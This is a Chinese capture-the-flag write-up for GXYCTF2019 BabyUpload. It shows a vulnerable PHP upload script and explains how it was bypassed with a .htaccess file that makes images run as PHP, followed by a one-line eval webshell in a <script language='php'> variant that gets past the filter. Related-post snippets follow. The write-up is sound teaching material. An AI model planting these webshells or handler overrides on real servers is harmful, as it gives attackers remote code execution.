[GXYCTF2019]BabyUpload 1 文件上传
源码:
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"textml; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);$uploaded_size = $_FILES['uploaded']['size'];$uploaded_tmp = $_FILES['uploaded']['tmp_name'];if(preg_match("/ph/i", strtolower($uploaded_ext))){die("后缀名不能有ph!");}else{if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "imagepeg")) && ($_FILES["uploaded"]["size"] < 2048)){$content = file_get_contents($uploaded_tmp);if(preg_match("/\<\?/i", $content)){die("诶,别蒙我啊,这标志明显还是php啊");}else{mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);move_uploaded_file($uploaded_tmp, $t_path);echo "{$t_path} succesfully uploaded!";}}else{die("上传类型也太露骨了吧!");}}
}
?>
png文件不许上传,尝试上传jpg
修改后缀名为.htaccess,文件内容为
SetHandler application/x-httpd-php
上传一句话木马
<?php eval($_POST[cmd]);?>
失败,因为过滤了 <?
换一种方式
<script language='php'>eval($_POST[cmd]);</script>
上传成功,蚁剑连接一下,在根目录找到flag
补充:
.htaccess的方法:
方法一:
这里时是要包含所有文件带有lx1的文件(只要文件名里面有lx1都可以),都会被当成php代码执行
<FilesMatch "lx1">
SetHandler application/x-httpd-php
</FilesMatch>
方法二:
这种方法时,后面的.png或者.jpg文件能被当成php代码执行,如果想换成别的改扩展名就可以
AddType application/x-httpd-php .png
AddType application/x-httpd-php .jpg
[GXYCTF2019]BabyUpload 1 文件上传相关推荐
- springboot设置文件上传大小(tomcat默认1M)
application.yml # 设置文件上传大小(tomcat默认1M) server:tomcat:max-http-form-post-size: -1 spring:servlet:mult ...
- 将文件上传至ftp服务器,FTP文件上传工具类,将文件上传至服务器指定目录
将文件上传至ftp服务器,传入File对象,将文件上传至ftp服务器 需要配置修改的点: 1. 服务器ip端口(服务器ip 端口22/21). 2. 服务器账号密码(服务器登录用户名密码). 3. 上 ...
- Springboot 多文件上传
其实多个文件和单个文件上传是一样的,可以使用同一个Controller 添加依赖 <!-- https://mvnrepository.com/artifact/commons-fileuplo ...
- django文件上传
Django在处理文件上传时,文件数据被打包封装在request.FILES中. 一.简单上传 首先,写一个form模型,它必须包含一个FileField: # forms.py from djang ...
- spring boot 文件上传工具类(bug 已修改)
以前的文件上传都是之前前辈写的,现在自己来写一个,大家可以看看,有什么问题可以在评论中提出来. 写的这个文件上传是在spring boot 2.0中测试的,测试了,可以正常上传,下面贴代码 第一步:引 ...
- 模拟文件上传(一):手动文件上传
关于上传文件,首先我的第一个案例是一个文本文件的上传,简单容易上手! 首先我们上传文件肯定就属于实体内容部分了:所以不能过GET方式请求了,要通过POST方式请求: 因为: 1.get方式是URL传值 ...
- Java中的文件上传2(Commons FileUpload:commons-fileupload.jar)
相比上一篇使用Servlet原始去实现的文件上传(http://www.cnblogs.com/EasonJim/p/6554669.html),使用组件去实现相对来说功能更多,省去了很多需要配置和处 ...
- 转 [JAVA] 使用 common-fileupload 实现文件上传
就在前段时间,还在苦于找到不到合适的上传组件,虽然很早就知道了 common-fileupload,但当时却因为没有找到如何获取表单参数的方法而使用 jspSmartUpload,历尽艰辛终于找到了它 ...
- 三层架构中ajax,基于mvc三层架构和ajax技术实现最简单的文件上传
前台页面提交文件 文件操作 上传文件 //上传文件 function upFile() { var file = document.getElementById("UpFile") ...
最新文章
- 远程桌面解决(面对不同问题)连接办法
- arcgis的python脚本-ArcGIS Python脚本使用
- ITK:迷你管道MiniPipeline
- C++中4种强制类型转换 ?
- 【python 3.6】python读取json数据存入MySQL(一)
- python运行速度慢是解释器的原因_python为什么会运行慢
- plsql表设置主键_对复制实施主键约束
- python整数分节输出_pyfactor
- 自从微信更新后,广东人都玩疯了!以后语音可以识别英语、粤语啦!
- 迅捷cad_迅捷属性
- postgresql----时间类型
- 帆软层次坐标常用公式整理
- redis hscan用法
- 计算机软件服务可以自开专票,新规:小规模纳税人也可以自开专票
- 《Vue的基本语法》
- Excel最强玩法!只用Excel就能做出「王者荣耀」战绩表
- INSPINIA ADMIN 开发框架
- C语言运算符和表达式
- PDF怎么把两个合并成一个?PDF怎么合并?
- 通过IP地址进行精准定位